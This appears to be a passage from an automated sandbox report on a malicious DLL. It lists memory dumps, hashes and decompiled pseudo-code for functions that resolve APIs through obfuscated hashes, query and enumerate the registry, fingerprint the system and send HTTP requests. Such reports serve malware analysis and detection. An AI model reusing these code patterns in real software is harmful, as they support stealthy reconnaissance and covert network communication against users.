0x6e67c79c
0x6e67c79e
0x6e67c7a3
0x6e67c7a8
0x6e67c7ad
0x6e67c7b8
0x6e67c7b4
0x6e67c7b4
0x6e67c7b4
0x6e67c7bf
0x6e67c805
0x6e67c80c
0x6e67c819
0x6e67c7c1
0x6e67c7c1
0x6e67c7c7
0x6e67c7ce
0x6e67c7d2
0x6e67c7e9
0x6e67c7fb
0x6e67c7fb
0x6e67c7fd
0x6e67c803
0x6e67c821
0x6e67c839
0x6e67c85a
0x6e67c85a
0x6e67c861
0x6e67c86e
0x6e67c86e
0x6e67c861
0x6e67c803
0x00000000
0x6e67c7c7

APIs

RegQueryValueExA.KERNELBASE(?,?,00000000,?,00000000,?,8883F185,00000000), ref: 6E67C7FB
RegQueryValueExA.KERNELBASE(?,?,00000000,8883F185,00000000,00000000,00000000,8883F185,?,8883F185,00000000), ref: 6E67C85A

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 1b4fde19d6e27f85aaca9c95f26fbe1a7904d47f24c8b1bb7409f34fb5227349
Instruction ID: c690a562111ce30cdd988a1cca3922ce263675cab97064976944589e76ccedf7
Opcode Fuzzy Hash: 1b4fde19d6e27f85aaca9c95f26fbe1a7904d47f24c8b1bb7409f34fb5227349
Instruction Fuzzy Hash: 8F217171208317ABDB21DEA4CC50EAB7BEC9F95B14F010A2DF4569A150EB30D949C7E6

Uniqueness

Uniqueness Score: -1.00%

Function 6E67C2D0, Relevance: 1.7, APIs: 1, Instructions: 196
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E6E67C2D0(void* __ebx, long* __ecx, void* __edi, void* __esi, void* __ebp, intOrPtr _a4, void* _a8, void* _a12) {
				char _v28;
				char _v32;
				unsigned int _v36;
				char _v40;
				signed int _v44;
				signed int _v48;
				unsigned int _v52;
				long* _v56;
				long _v60;
				long* _v64;
				int _v68;
				intOrPtr _v72;
				signed int _v76;
				long _v80;
				unsigned int _t57;
				signed int* _t59;
				void* _t62;
				void* _t66;
				void* _t74;
				long _t75;
				void* _t76;
				void** _t77;
				long _t78;
				long* _t82;
				void* _t83;
				long _t84;
				long _t102;
				short* _t107;
				long _t117;
				signed int _t122;
				signed int _t123;
				signed int _t124;
				intOrPtr _t125;
				long _t127;
				void* _t130;
				long _t132;
				intOrPtr _t135;
				long _t136;
				long _t140;
				void* _t142;
				long* _t143;

				_push(__esi);
				_push(__edi);
				_t143 = _t142 - 0x40;
				_t82 = __ecx;
				E6E663930(__ecx, 0, __edi, __esi);
				_t130 =  !=  ? 0 : 0x100;
				_t121 =  <=  ? 0x3000f : 0x20009;
				_t122 = ( <=  ? 0x3000f : 0x20009) | 0x00000100;
				E6E668810( &_v40, 0x104);
				_t107 =  *((intOrPtr*)(__ecx + 0xc));
				if(_t107 != 0) {
					 *_t107 = 0;
				}
				_t140 = _a8;
				_t57 = E6E679650(_a4) >> 2;
				if(_t57 > 0) {
					_v56 =  &(_t82[3]);
					_v44 = 0;
					_t16 = _t57 - 1; // -1
					_v76 = _t122;
					_v68 = _t16;
					_v72 = _t130 + 0x20009;
					_t132 = 0;
					_v52 = _t57;
					_v64 = _t82;
					_t123 = 0;
					while(1) {
						L15:
						_t59 = E6E679640(_a4, _t123 * 4);
						_t83 = 0;
						_v48 = _t123;
						_t124 =  *_t59 ^ 0x38ba5c7b;
						_v52 = _t132;
						while(1) {
							_t62 = E6E6615C0(0x3ab94787, 0xf561ae8b);
							if(_t62 != 0) {
								break;
							}
							E6E66A0D0( &_v40,  &_v32);
							E6E6683B0( &_v28);
							_t66 = E6E67D620(_v28, E6E676040(_v28, 0x7fffffff));
							E6E670B10( &_v28);
							if(_t66 != _t124) {
								E6E668CA0( &_v32);
								_t83 = _t83 + 1;
								continue;
							} else {
								_t125 = _v44;
								_t135 =  *((intOrPtr*)( &_v32 - 0x10));
								E6E668CA0( &_v32);
								if(_t125 != 0) {
									E6E6696D0(_v56, 0x5c);
								}
								E6E670220(_v56, _v40, 0);
								_v68 = 0;
								if(E6E6615C0(0x3ab94787, 0xd5493f9) == 0) {
									_t117 = 0;
								} else {
									_t77 =  &_v60;
									_t104 =  ==  ?  *((void*)(_t77 - 0x10)) :  *((intOrPtr*)(_t77 - 0xc));
									_t78 = RegOpenKeyExW(_a8,  *(_t77[1]), 0,  ==  ?  *((void*)(_t77 - 0x10)) :  *((intOrPtr*)(_t77 - 0xc)), _t77); // executed
									_t117 = _t78;
								}
								_t84 = _v60;
								if(_t84 == 0 || _t84 == 0xffffffff) {
									L37:
									_t82 = _v64;
									_t136 = _t117;
									goto L4;
								} else {
									if(_t135 == 0) {
										L34:
										_t123 = _t125 + 1;
										_t140 = _t84;
										if(_t123 < _v52) {
											_t132 = 1;
											goto L15;
										} else {
											goto L37;
										}
									} else {
										if(_t140 == 0 || _t140 == 0xffffffff) {
											_t75 = 1;
										} else {
											_t75 = 0;
										}
										if(_t75 != 0) {
											goto L34;
										} else {
											_v80 = _t117;
											_t76 = E6E6615C0(0x3ab94787, 0x91935d4e);
											_t117 =  *_t143;
											if(_t76 == 0) {
												goto L34;
											} else {
												_push(_t140);
												_v80 = _t117;
												asm("int3");
												return _t76;
											}
										}
									}
								}
							}
							goto L38;
						}
						_push(_v36 >> 1);
						_push(_v40);
						_push(_t83);
						_push(_t140);
						asm("int3");
						return _t62;
						goto L38;
					}
				} else {
					_t136 = 0;
					L4:
					if(_t82[2] == 0) {
						L12:
						_t82[1] = _t140;
						_t82[2] = 1;
						E6E668CA0( &_v40);
						 *_t82 = _t136;
						return _t136;
					} else {
						_t127 = _t82[1];
						if(_t127 == 0 || _t127 == 0xffffffff) {
							_t102 = 1;
						} else {
							_t102 = 0;
						}
						if(_t102 != 0) {
							goto L12;
						} else {
							_t74 = E6E6615C0(0x3ab94787, 0x91935d4e);
							if(_t74 == 0) {
								goto L12;
							} else {
								_push(_t127);
								asm("int3");
								return _t74;
							}
						}
					}
				}
				L38:
			}

0x6e67c2d0
0x6e67c2d1
0x6e67c2d4
0x6e67c2d7
0x6e67c2db
0x6e67c2f4
0x6e67c30b
0x6e67c30e
0x6e67c310
0x6e67c315
0x6e67c31a
0x6e67c31e
0x6e67c31e
0x6e67c325
0x6e67c32e
0x6e67c333
0x6e67c393
0x6e67c399
0x6e67c39d
0x6e67c3a0
0x6e67c3a4
0x6e67c3a8
0x6e67c3ac
0x6e67c3ae
0x6e67c3b2
0x6e67c3b6
0x6e67c3bf
0x6e67c3bf
0x6e67c3cb
0x6e67c3d2
0x6e67c3d9
0x6e67c3dd
0x6e67c3df
0x6e67c3e3
0x6e67c3ed
0x6e67c3f4
0x00000000
0x00000000
0x6e67c418
0x6e67c425
0x6e67c43e
0x6e67c449
0x6e67c450
0x6e67c523
0x6e67c528
0x00000000
0x6e67c456
0x6e67c456
0x6e67c45e
0x6e67c461
0x6e67c468
0x6e67c470
0x6e67c470
0x6e67c47f
0x6e67c484
0x6e67c49f
0x6e67c4c3
0x6e67c4a1
0x6e67c4a5
0x6e67c4ac
0x6e67c4bd
0x6e67c4bf
0x6e67c4bf
0x6e67c4c5
0x6e67c4cb
0x6e67c537
0x6e67c537
0x6e67c53b
0x00000000
0x6e67c4d2
0x6e67c4d4
0x6e67c510
0x6e67c510
0x6e67c511
0x6e67c517
0x6e67c3ba
0x00000000
0x6e67c51d
0x00000000
0x6e67c51d
0x6e67c4d6
0x6e67c4d8
0x6e67c4e3
0x6e67c4df
0x6e67c4df
0x6e67c4df
0x6e67c4ea
0x00000000
0x6e67c4ec
0x6e67c4f6
0x6e67c4fa
0x6e67c4ff
0x6e67c504
0x00000000
0x6e67c506
0x6e67c506
0x6e67c507
0x6e67c50b
0x6e67c50c
0x6e67c50c
0x6e67c504
0x6e67c4ea
0x6e67c4d4
0x6e67c4cb
0x00000000
0x6e67c450
0x6e67c3fc
0x6e67c3fd
0x6e67c401
0x6e67c402
0x6e67c403
0x6e67c404
0x00000000
0x6e67c404
0x6e67c335
0x6e67c335
0x6e67c337
0x6e67c33b
0x6e67c36c
0x6e67c36c
0x6e67c373
0x6e67c377
0x6e67c37c
0x6e67c387
0x6e67c33d
0x6e67c33d
0x6e67c342
0x6e67c34d
0x6e67c349
0x6e67c349
0x6e67c349
0x6e67c354
0x00000000
0x6e67c356
0x6e67c360
0x6e67c367
0x00000000
0x6e67c369
0x6e67c369
0x6e67c36a
0x6e67c36b
0x6e67c36b
0x6e67c367
0x6e67c354
0x6e67c33b
0x00000000

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f17b59286eec2a0a04a93962903cfa7af11a798c4da61e5b2bbe808ff438f0cb
Instruction ID: df513a3499365c5411b5040c016ef1b8a24a034a9d394b7a3b9fbbb27fca42c5
Opcode Fuzzy Hash: f17b59286eec2a0a04a93962903cfa7af11a798c4da61e5b2bbe808ff438f0cb
Instruction Fuzzy Hash: B1613A715183019FDB10CFA5C890A5FB7E5AFD9358F108A2DE86A9B251EB30DC05CB82

Uniqueness

Uniqueness Score: -1.00%

Function 6E66430F, Relevance: 1.7, APIs: 1, Instructions: 162
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E6E66430F(void* __eax, intOrPtr __ebx, void* __esi, void* __ebp, char _a4, struct _SYSTEM_INFO _a344, intOrPtr _a356, intOrPtr _a360, intOrPtr _a364, short _a372, intOrPtr _a380, char _a384, char _a388, char _a400, char _a404, char _a408) {
				char _v0;
				void* _v4;
				char _v16;
				intOrPtr _t35;
				intOrPtr _t39;
				intOrPtr _t45;
				intOrPtr _t47;
				void* _t48;
				intOrPtr _t54;
				intOrPtr _t56;
				intOrPtr _t59;
				intOrPtr _t64;
				void* _t69;

				_t47 = __ebx;
				if(__eax == 0) {
					E6E679510( &_a4);
					if(_a408 != 0) {
						E6E67BE30( &_a404, __esi);
					}
				} else {
					__edx =  *0x6e68b1f4; // 0xf21340
					if(__edx == 0xc139578) {
						 *0x6e68b1f4 = 0;
						L26:
						__eax = 0x3ab94787;
						_push(0x3ab94787);
						_v4 = E6E667564(0x3ab94787);
						if(_v4 == 0) {
							__ecx = 0x3ab94787;
							__eax = E6E666C50(0x3ab94787);
							if(__al != 0) {
								__eax = 0x3ab94787;
								_push(0x3ab94787);
								 *__esp = E6E667564(0x3ab94787);
							}
						}
						if(_v4 == 0) {
							L42:
							__ecx =  &_v0;
							__eax = E6E679510( &_v0);
							if(_a404 != 0) {
								__ecx =  &_a400;
								__eax = E6E67BE30( &_a400, __esi);
							}
							goto L1;
						} else {
							__esp = __esp + 0xfffffff8;
							__edx = 0xc4b8bd35;
							__eax = _v4;
							__edx = E6E6667C8(_v4, 0xc4b8bd35);
							L29:
							if(__edx == 0) {
								goto L42;
							}
							 *__edi & 0x000000ff = ( *__edi & 0x000000ff) - 1;
							__eax =  *__edx( *__esi, ( *__edi & 0x000000ff) - 1);
							if(__eax == 0) {
								goto L42;
							}
							__eax =  *__eax;
							if(__eax == 0) {
								__esi = 1;
							} else {
								if(__eax == 0x1000) {
									__esi = 2;
								} else {
									if(__eax == 0x2100) {
										__esi = 4;
									} else {
										if(__eax == 0x2000) {
											__esi = 3;
										} else {
											if(__eax == 0x3000) {
												__esi = 5;
											} else {
												if(__eax != 0x4000) {
													__esi = 7;
													__esi =  !=  ? __ebx : 7;
												} else {
													__esi = 6;
												}
											}
										}
									}
								}
							}
							__ecx =  &_v16;
							__eax = E6E679510( &_v16);
							if(_a388 != 0) {
								__ecx =  &_a384;
								__eax = E6E67BE30( &_a384, __esi);
							}
							L2:
							_t35 =  *0x6e68b1f0; // 0xf20528
							 *((intOrPtr*)(_t35 + 0x2c)) = _t64;
							_t56 =  *0x6e68b1f4; // 0xf21340
							if(_t56 == 0xc139578) {
								 *0x6e68b1f4 = 0;
								L9:
								_push(0xa1310f65);
								_t48 = E6E667564(0xa1310f65);
								if(_t48 == 0) {
									if(E6E666C50(0xa1310f65) != 0) {
										_push(0xa1310f65);
										_t48 = E6E667564(0xa1310f65);
									}
								}
								if(_t48 == 0) {
									goto L14;
								} else {
									_t69 = _t69 + 0xfffffff8;
									_t59 = E6E6667C8(_t48, 0x4e85f18d);
									goto L12;
								}
							} else {
								if(_t56 == 0) {
									goto L9;
								} else {
									goto L5;
								}
								do {
									L5:
									_t54 = _t47;
									_t45 = _t54;
									while( *((intOrPtr*)(_t45 + _t56 + 8)) != 0x4e85f18d) {
										_t54 = _t54 + 1;
										_t45 = _t45 + 0x18;
										if(_t54 < 0x10) {
											continue;
										}
										goto L8;
									}
									_t59 =  *((intOrPtr*)(_t45 + _t56 + 0x14));
									if(_t59 != 0) {
										L12:
										if(_t59 != 0) {
											GetSystemInfo( &_a344);
										}
										L14:
										_t39 =  *0x6e68b1f0; // 0xf20528
										 *((short*)(_t39 + 0xe)) = _a372;
										 *((intOrPtr*)(_t39 + 0x10)) = _a356;
										 *((intOrPtr*)(_t39 + 0x14)) = _a360;
										 *((intOrPtr*)(_t39 + 0x18)) = _a364;
										 *((intOrPtr*)(_t39 + 0x1c)) = _a380;
										return _t39;
									} else {
										goto L9;
									}
									L8:
									asm("o16 nop [eax+eax]");
									_t4 = _t56 + 0x180; // 0xf28e68
									_t56 =  *_t4;
								} while (_t56 != 0);
								goto L9;
							}
						}
					}
					if(__edx == 0) {
						goto L26;
					} else {
						goto L22;
					}
					do {
						L22:
						__ecx = __ebx;
						__eax = __ecx;
						while( *((intOrPtr*)(__eax + __edx + 8)) != 0xc4b8bd35) {
							__ecx = __ecx + 1;
							__eax = __eax + 0x18;
							if(__ecx < 0x10) {
								continue;
							}
							goto L25;
						}
						__edx =  *((intOrPtr*)(__eax + __edx + 0x14));
						if(__edx != 0) {
							goto L29;
						}
						goto L26;
						L25:
						asm("o16 nop [eax+eax]");
						_t20 = __edx + 0x180; // 0xf28e68
						__edx =  *_t20;
					} while (__edx != 0);
					goto L26;
				}
				L1:
				_t64 = _t47;
				goto L2;
			}

0x6e66430f
0x6e664313
0x6e66444c
0x6e664459
0x6e664466
0x6e664466
0x6e664319
0x6e664319
0x6e664325
0x6e6644f6
0x6e66435a
0x6e66435a
0x6e66435f
0x6e664365
0x6e66436c
0x6e6644c0
0x6e6644c5
0x6e6644cc
0x6e6644d2
0x6e6644d7
0x6e6644dd
0x6e6644dd
0x6e6644cc
0x6e664376
0x6e664420
0x6e664420
0x6e664424
0x6e664431
0x6e664437
0x6e66443e
0x6e66443e
0x00000000
0x6e66437c
0x6e66437c
0x6e66437f
0x6e664384
0x6e66438d
0x6e66438f
0x6e664391
0x00000000
0x00000000
0x6e66439a
0x6e66439e
0x6e6643a2
0x00000000
0x00000000
0x6e6643a4
0x6e6643a8
0x6e6644b6
0x6e6643ae
0x6e6643b3
0x6e6644ac
0x6e6643b9
0x6e6643be
0x6e6644a2
0x6e6643c4
0x6e6643c9
0x6e664498
0x6e6643cf
0x6e6643d4
0x6e6643f3
0x6e6643d6
0x6e6643db
0x6e6643e4
0x6e6643ee
0x6e6643dd
0x6e6643dd
0x6e6643dd
0x6e6643db
0x6e6643d4
0x6e6643c9
0x6e6643be
0x6e6643b3
0x6e6643f8
0x6e6643fc
0x6e664409
0x6e66440f
0x6e664416
0x6e664416
0x6e664042
0x6e664042
0x6e664047
0x6e66404a
0x6e664056
0x6e6641cf
0x6e66408b
0x6e664090
0x6e664096
0x6e66409a
0x6e6641a6
0x6e6641b1
0x6e6641b7
0x6e6641b7
0x6e6641a6
0x6e6640a2
0x00000000
0x6e6640a4
0x6e6640ab
0x6e6640b3
0x00000000
0x6e6640b3
0x6e66405c
0x6e66405e
0x00000000
0x00000000
0x00000000
0x00000000
0x6e664060
0x6e664060
0x6e664060
0x6e664062
0x6e664064
0x6e664072
0x6e664073
0x6e664079
0x00000000
0x00000000
0x00000000
0x6e664079
0x6e6641be
0x6e6641c4
0x6e6640b5
0x6e6640b7
0x6e6640c1
0x6e6640c1
0x6e6640c3
0x6e6640c3
0x6e6640eb
0x6e6640ef
0x6e6640f2
0x6e6640f5
0x6e6640f8
0x6e664107
0x6e6641ca
0x00000000
0x6e6641ca
0x6e66407b
0x6e66407b
0x6e664081
0x6e664081
0x6e664087
0x00000000
0x6e664060
0x6e664056
0x6e664376
0x6e66432d
0x00000000
0x00000000
0x00000000
0x00000000
0x6e66432f
0x6e66432f
0x6e66432f
0x6e664331
0x6e664333
0x6e664341
0x6e664342
0x6e664348
0x00000000
0x00000000
0x00000000
0x6e664348
0x6e6644e5
0x6e6644eb
0x00000000
0x00000000
0x00000000
0x6e66434a
0x6e66434a
0x6e664350
0x6e664350
0x6e664356
0x00000000
0x6e66432f
0x6e664040
0x6e664040
0x00000000

APIs

GetSystemInfo.KERNELBASE(?), ref: 6E6640C1

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: f681e3bff607a4607c88071b548df6f4ea61bf0254095b93b8f9d821e1145650
Instruction ID: edf98b390f4fcd10e3de4825d1c3dbde6f09543819ef026a39cb5fc4010ae243
Opcode Fuzzy Hash: f681e3bff607a4607c88071b548df6f4ea61bf0254095b93b8f9d821e1145650
Instruction Fuzzy Hash: 0D51D7306283428BEB548B9AC4B07EE73A6FB97344F15456DC458973A5DBB4CC42C753

Uniqueness

Uniqueness Score: -1.00%

Function 6E683820, Relevance: 1.7, APIs: 1, Instructions: 151
networkCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E6E683820(intOrPtr* __ecx) {
				void* __edi;
				void* __esi;
				intOrPtr _t39;
				void* _t40;
				intOrPtr _t43;
				void* _t44;
				void* _t48;
				long _t52;
				int _t53;
				intOrPtr _t59;
				void* _t67;
				intOrPtr* _t95;
				intOrPtr _t102;
				intOrPtr _t104;
				void* _t105;
				intOrPtr* _t107;
				void* _t109;
				intOrPtr* _t110;

				_t110 = _t109 - 0x60;
				_t107 = __ecx;
				_t39 =  *((intOrPtr*)(__ecx + 8));
				if(_t39 == 0 || _t39 == 0xffffffff) {
					_t40 = 1;
				} else {
					_t40 = 0;
				}
				if(_t40 != 0) {
					L26:
					_push(0);
					E6E679350( *((intOrPtr*)(_t110 + 0x78)));
					return  *((intOrPtr*)(_t110 + 0x74));
				} else {
					_t43 =  *((intOrPtr*)(_t107 + 0x10));
					if(_t43 == 0 || _t43 == 0xffffffff) {
						_t44 = 1;
					} else {
						_t44 = 0;
					}
					if(_t44 != 0) {
						goto L26;
					} else {
						_t75 = _t107 + 0x28;
						E6E677660(_t107 + 0x28, _t110 + 0x3c, 0x6e689424);
						E6E6687A0(_t110 + 0x44);
						_t48 = E6E6615C0(0xd27f045a, 0x336e58dc);
						_t98 = _t48;
						if(_t48 != 0) {
							 *_t110 =  *((intOrPtr*)(_t107 + 0x10));
							 *((intOrPtr*)(_t110 + 0xc)) =  *((intOrPtr*)(_t110 + 0x44));
							_t102 =  *((intOrPtr*)(_t107 + 0x28));
							 *(_t110 + 8) = E6E670180( *((intOrPtr*)(_t110 + 0x44)), 0x7fffffff, _t102);
							if(E6E679650( *((intOrPtr*)(_t110 + 0x78))) != 0) {
								 *((intOrPtr*)(_t110 + 4)) = E6E679640( *((intOrPtr*)(_t110 + 0x7c)), 0);
							} else {
								 *((intOrPtr*)(_t110 + 4)) = 0;
							}
							_t52 = E6E679650( *((intOrPtr*)(_t110 + 0x78)));
							_t103 =  !=  ?  *((void*)(_t110 + 0x18)) : _t102;
							_t53 = HttpSendRequestW( *(_t110 + 0x10),  !=  ?  *((void*)(_t110 + 0x18)) : _t102,  *(_t110 + 0x10),  *(_t110 + 8), _t52); // executed
							if(_t53 == 0) {
								_t104 = E6E667F00();
								E6E677560(_t75, _t98, _t104);
								if(_t104 != 0) {
									goto L12;
								} else {
									goto L17;
								}
							} else {
								E6E677560(_t75, _t98, _t103);
								L17:
								 *(_t110 + 0x50) = 4;
								_t95 = E6E6615C0(0xd27f045a, 0xcedbd48c);
								if(_t95 == 0) {
									_t59 = 0x7f;
									goto L24;
								} else {
									_t105 = _t110 + 0x50;
									_push(0);
									_push(_t105);
									_push(_t110 + 0x4c);
									_push(0x20000013);
									_push( *((intOrPtr*)(_t107 + 0x10)));
									if( *_t95() == 0) {
										_t59 = E6E667F00();
										if(_t59 != 0) {
											L24:
											 *_t107 = _t59;
											E6E668CA0(_t110 + 0x44);
											goto L25;
										} else {
											goto L19;
										}
									} else {
										L19:
										 *((intOrPtr*)(_t107 + 0x34)) =  *((intOrPtr*)(_t110 + 0x4c));
										E6E668810(_t110 + 0x38, 0x2800);
										 *(_t110 + 0x50) =  *(_t110 + 0x38) >> 1;
										_t67 = E6E6615C0(0xd27f045a, 0xcedbd48c);
										if(_t67 == 0) {
											 *_t107 = 0x7f;
											E6E668CA0(_t110 + 0x34);
											E6E668CA0(_t110 + 0x44);
											goto L25;
										} else {
											_push(0);
											_push(_t105);
											_push( *((intOrPtr*)(_t110 + 0x3c)));
											_push(0x14);
											_push( *((intOrPtr*)(_t107 + 0x10)));
											asm("int3");
											return _t67;
										}
									}
								}
							}
						} else {
							_t104 = 0x7f;
							E6E677560(_t75, _t98, 0x7f);
							L12:
							 *_t107 = _t104;
							E6E668CA0(_t110 + 0x44);
							L25:
							E6E670B10(_t110 + 0x3c);
							goto L26;
						}
					}
				}
			}

0x6e683824
0x6e683827
0x6e683829
0x6e68382e
0x6e683839
0x6e683835
0x6e683835
0x6e683835
0x6e683840
0x6e683bba
0x6e683bba
0x6e683bc0
0x6e683bd0
0x6e683846
0x6e683846
0x6e68384b
0x6e683856
0x6e683852
0x6e683852
0x6e683852
0x6e68385d
0x00000000
0x6e683863
0x6e683863
0x6e683872
0x6e68387f
0x6e68388e
0x6e683893
0x6e683897
0x6e6838c2
0x6e6838c5
0x6e6838c9
0x6e6838d1
0x6e6838e0
0x6e683ca0
0x6e6838e6
0x6e6838e6
0x6e6838e6
0x6e6838f2
0x6e683902
0x6e68390c
0x6e683910
0x6e683c7f
0x6e683c83
0x6e683c8a
0x00000000
0x6e683c90
0x00000000
0x6e683c90
0x6e683916
0x6e683918
0x6e68391d
0x6e68391d
0x6e683934
0x6e683938
0x6e683ba0
0x00000000
0x6e68393e
0x6e68393e
0x6e683946
0x6e683948
0x6e683949
0x6e68394a
0x6e68394f
0x6e683956
0x6e683c68
0x6e683c6f
0x6e683ba5
0x6e683ba5
0x6e683bac
0x00000000
0x6e683c75
0x00000000
0x6e683c75
0x6e68395c
0x6e68395c
0x6e683965
0x6e68396c
0x6e683977
0x6e683985
0x6e68398c
0x6e683b89
0x6e683b90
0x6e683b99
0x00000000
0x6e683992
0x6e683992
0x6e683994
0x6e683995
0x6e683999
0x6e68399b
0x6e68399e
0x6e68399f
0x6e68399f
0x6e68398c
0x6e683956
0x6e683938
0x6e683899
0x6e68389b
0x6e6838a0
0x6e6838a5
0x6e6838a5
0x6e6838ac
0x6e683bb1
0x6e683bb5
0x00000000
0x6e683bb5
0x6e683897
0x6e68385d

APIs

HttpSendRequestW.WININET(D27F045A,?,D27F045A,?,00000000,D27F045A,336E58DC,?), ref: 6E68390C

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: HttpRequestSend
String ID:
API String ID: 360639707-0
Opcode ID: 5f223269f45c847d0cdb6d6223420faf0c7372638c33425f3e40047ac65a61fa
Instruction ID: 6f16a72c4ccc8e2f3b1bc7d842f406449c201ac46fb2fd9e1439c13786343021
Opcode Fuzzy Hash: 5f223269f45c847d0cdb6d6223420faf0c7372638c33425f3e40047ac65a61fa
Instruction Fuzzy Hash: F3518470658305AFEB509FA4CC54A9F7BE8EF81758F004D2DF9559B2A0EB31D804CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 6E67C580, Relevance: 1.6, APIs: 1, Instructions: 98
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6E67C580(intOrPtr __ecx, void* __edx, intOrPtr _a4) {
				intOrPtr _v0;
				intOrPtr _v4;
				int _v20;
				char _v28;
				int* _v32;
				int* _v36;
				char _v40;
				char _v48;
				char _v303;
				void* __edi;
				void* __esi;
				long _t25;
				signed int _t33;
				char _t45;
				int _t62;
				intOrPtr _t63;
				char* _t64;
				char* _t66;

				_v40 = 0;
				_t62 = 0;
				_v36 = 0;
				_t63 = __ecx;
				_v32 = 0;
				_t64 = _t66;
				while(1) {
					_v20 = 0x105;
					if(E6E6615C0(0x3ab94787, 0x31fb9d90) == 0) {
						goto L3;
					}
					_t25 = RegEnumValueA( *(_t63 + 4), _t62, _t64,  &_v20, 0, 0, 0, 0); // executed
					if(_t25 == 0) {
						goto L3;
					}
					_t45 = _v40;
					_t26 = 0;
					if(_t45 <= 0) {
						L9:
						E6E670930(_a4, _t26, _t26);
						E6E677560( &_v48, _t62, _t63);
						return _v4;
					} else {
						_t63 = _t45;
						_t65 = 0;
						_t62 =  &_v28;
						while(1) {
							E6E671240(E6E677600( &_v40, _t65), _t62); // executed
							_t40 = _v36;
							_t33 = E6E67D620(_t40, E6E676040(_v36, 0x7fffffff));
							E6E670B10(_t62);
							if((_t33 ^ 0x38ba5c7b) == _v0) {
								break;
							}
							_t65 =  &_v303;
							if( &_v303 < _t63) {
								continue;
							} else {
								_t26 = 0;
								goto L9;
							}
							goto L11;
						}
						E6E670750(_v0, E6E677600( &_v40, _t65));
						E6E677560( &_v48, _t62, _t63);
						return _v4;
					}
					L11:
					L3:
					E6E6737E0( &_v40, _t64, _v40);
					_t62 = _t62 + 1;
				}
			}

0x6e67c58e
0x6e67c595
0x6e67c597
0x6e67c59e
0x6e67c5a0
0x6e67c5a7
0x6e67c5aa
0x6e67c5aa
0x6e67c5c8
0x00000000
0x00000000
0x6e67c5db
0x6e67c5df
0x00000000
0x00000000
0x6e67c5f8
0x6e67c5ff
0x6e67c603
0x6e67c662
0x6e67c66b
0x6e67c677
0x6e67c68d
0x6e67c605
0x6e67c607
0x6e67c609
0x6e67c60b
0x6e67c612
0x6e67c622
0x6e67c627
0x6e67c63e
0x6e67c647
0x6e67c659
0x00000000
0x00000000
0x6e67c65b
0x6e67c65e
0x00000000
0x6e67c660
0x6e67c660
0x00000000
0x6e67c660
0x00000000
0x6e67c65e
0x6e67c6a7
0x6e67c6b3
0x6e67c6c9
0x6e67c6c9
0x00000000
0x6e67c5e1
0x6e67c5f0
0x6e67c5f5
0x6e67c5f5

APIs

RegEnumValueA.KERNELBASE(?,00000001,?,?,00000000,00000000,00000000,00000000,3AB94787,31FB9D90,?,?,3AB94787,31FB9D90), ref: 6E67C5DB

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: EnumValue
String ID:
API String ID: 2814608202-0
Opcode ID: 71b1a84cdbfb9666a2904b00dc10ff6c6848b6122441b50c3cd9c2af10e49e24
Instruction ID: 5e7ad510c19ca52453c1b6295be938c80246f8c8709674e45bcdee3eeeb9da5d
Opcode Fuzzy Hash: 71b1a84cdbfb9666a2904b00dc10ff6c6848b6122441b50c3cd9c2af10e49e24
Instruction Fuzzy Hash: 6B31BF312082445BDBB5DBA9D890AEFB3DDEBD9304F104D2DA18EC7240EF716D458BA6

Uniqueness

Uniqueness Score: -1.00%

Function 6E67C405, Relevance: 1.6, APIs: 1, Instructions: 83
registryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E6E67C405(intOrPtr __eax, void* __edi, intOrPtr __ebp, void* _a8, int _a12, void* _a16, void* _a20, void** _a28, void** _a32, void** _a36, char _a40, unsigned int _a44, char _a48, void** _a52, void* _a64, void* _a68) {
				unsigned int _v0;
				void* _v4;
				unsigned int _v8;
				void* _v20;
				void* _v28;
				void* _t41;
				intOrPtr* _t42;
				void** _t45;
				intOrPtr _t48;
				intOrPtr _t49;
				intOrPtr _t51;

